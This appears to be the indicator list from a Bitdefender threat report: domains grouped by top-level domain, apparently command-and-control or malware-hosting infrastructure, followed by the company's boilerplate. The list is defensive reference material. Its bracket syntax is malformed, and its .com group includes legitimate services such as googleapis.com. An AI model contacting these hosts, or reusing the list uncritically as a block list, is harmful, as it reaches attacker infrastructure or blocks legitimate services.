"wlobrancas.xyz",
"firefenix06.xyz",
"kawasakininja06.xyz",
"salteadores6.xyz",
"blacklist06.xyz",
"brocatorxb.xyz",
"drinksreactionc.xyz",
"frintzendx.xyz",
"eniacomputer06.xyz",
"vitorianaguerra6.xyz",
"dodgetomahawk06.xyz",
"castlebravo06.xyz",
"residentevil06.xyz",
"americanterrier06.xyz",
"intelcore-i6.xyz",

".site":
{
  "cavaleira5.site",
  "miamixx.site",
  "freehosted.site",
  "navixx.site",
  "madrigalixxxlske.site",
  "hcosta.site",
  "77samsung05.site",
  "farrapos05.site",
  "boxfree.site",
  "30maxj.site",
  "amconsultoria.site",
  "kawasakininja05.site",
  "boxcheap.site",
  "freebackup.site",
  "vendasplus.site",
  "intelcore-i5.site",
  "hitsred.site",
  "hostwebfree.site",
  "budweiser05.site",
  "gameofthrones05.site",
  "caveiraovl.site",
  "grupocobex.site",
  "salteadores5.site",
  "chromiumnxjst.site",
  "dodgetomahawk05.site",
  "wilstonbrwlg0ai.site",
  "aprovadetudo5.site",
  "20hitler.site",
  "blacklist05.site",
  "zsegur.site",
  "firefenix05.site",
  "sharkatack05.site",
  "companhia2.site",
  "drinksreae.site",
  "avancados2.site",
  "frintzenxc.site",
  "companhia3.site",
  "dindsranko.site",
  "mclarenp5.site",
  "eniacomputer05.site",
  "cavalodetroia05.site",
  "breakingbad5.site",
  "vitorianaguerra5.site",
}
"davidguetta05.site",
"wshowxte.site",
"americanterrier05.site",
"shaokahn05.site",
"redbullenergy05.site",
"ultrapower05.site",
] 
".club":
    "freehosted.club",
    "madrigalisxs.club",
    "boxfree.club",
    "consulth.club",
    "vendasplus.club",
    "hitsblack.club",
    "navixx.club",
    "chromiunxvr.club",
    "dindsranki.club",
    "wilstonbrwlosk.club",
    "wshowlw.club",
    "cablesystem.club",
    "cablexsystem.club",
    "sismaistec.club",
] 
".work":
    "chromiunxkla.work",
    "thevirtusc.work",
    "drinksreactiona.work",
    "wshowvik.work",
] 
".live":
    "wshowkct.live",
] 
".online":
    "wilstonbrwrgh.online",
    "info-id2.online",
] 
".today":
    "starksxmewez.today",
] 
".icu":
    "eleconfia.icu",
] 
".host":
    "azuru.host",
] 
".me":
    "cablexsystrse.me",
] 
".com":
    "jetos.com",
    "sellclassics.com",
    "youdontcare.com",
    "zyns.com",
    "my03.com",
    "mrface.com",
    "isasecret.com",
    "toythieves.com",
    "onedumb.com",
    "yourtrap.com",
    "dns05.com",
    "wikaba.com",
"itsaol.com",
"itemdb.com",
"dumbi.com",
"longmusic.com",
"mrbasic.com",
"zzux.com",
"instanthq.com",
"googleapis.com",
"dns04.com",
"githubusercontent.com",
"impressoxpz598295.com",
"sh-master03.com",
"notafisca105.com",
"kloudghtlp.com",
"ikoxuhid.com",
"justcht.com",
"ivimalaf.com",
"sh-master02.com",
"dy2-nobody.com",
"navegador04890.com",
"obosinal.com",
"justchotlo.com",
"justchtbb.com",
"blackjoud.com",
"icseyavod.com",
"eririxab.com",

",

".to":[
  "epac.to",
  "compress.to",
]

".net":[
  "dynamic-dns.net",
]

".biz":[
  "sexxxy.biz",
]

".info":[
  "ddns.info",
  "mymom.info",
  "veneratorb.info",
]

".shop":[
  "sismaistec01.shop",
]
Bitdefender is a global security technology company that delivers solutions in more than 100 countries through a network of value-added alliances, distributors and reseller partners. Since 2001, Bitdefender has consistently produced award-winning business and consumer security technology, and is a leading security provider in virtualization and cloud technologies. Through R&D, alliances and partnership teams, Bitdefender has elevated the highest standards of security excellence in both its number-one-ranked technology and its strategic alliances with the world's leading virtualization and cloud technology providers. More information is available at http://www.bitdefender.com/.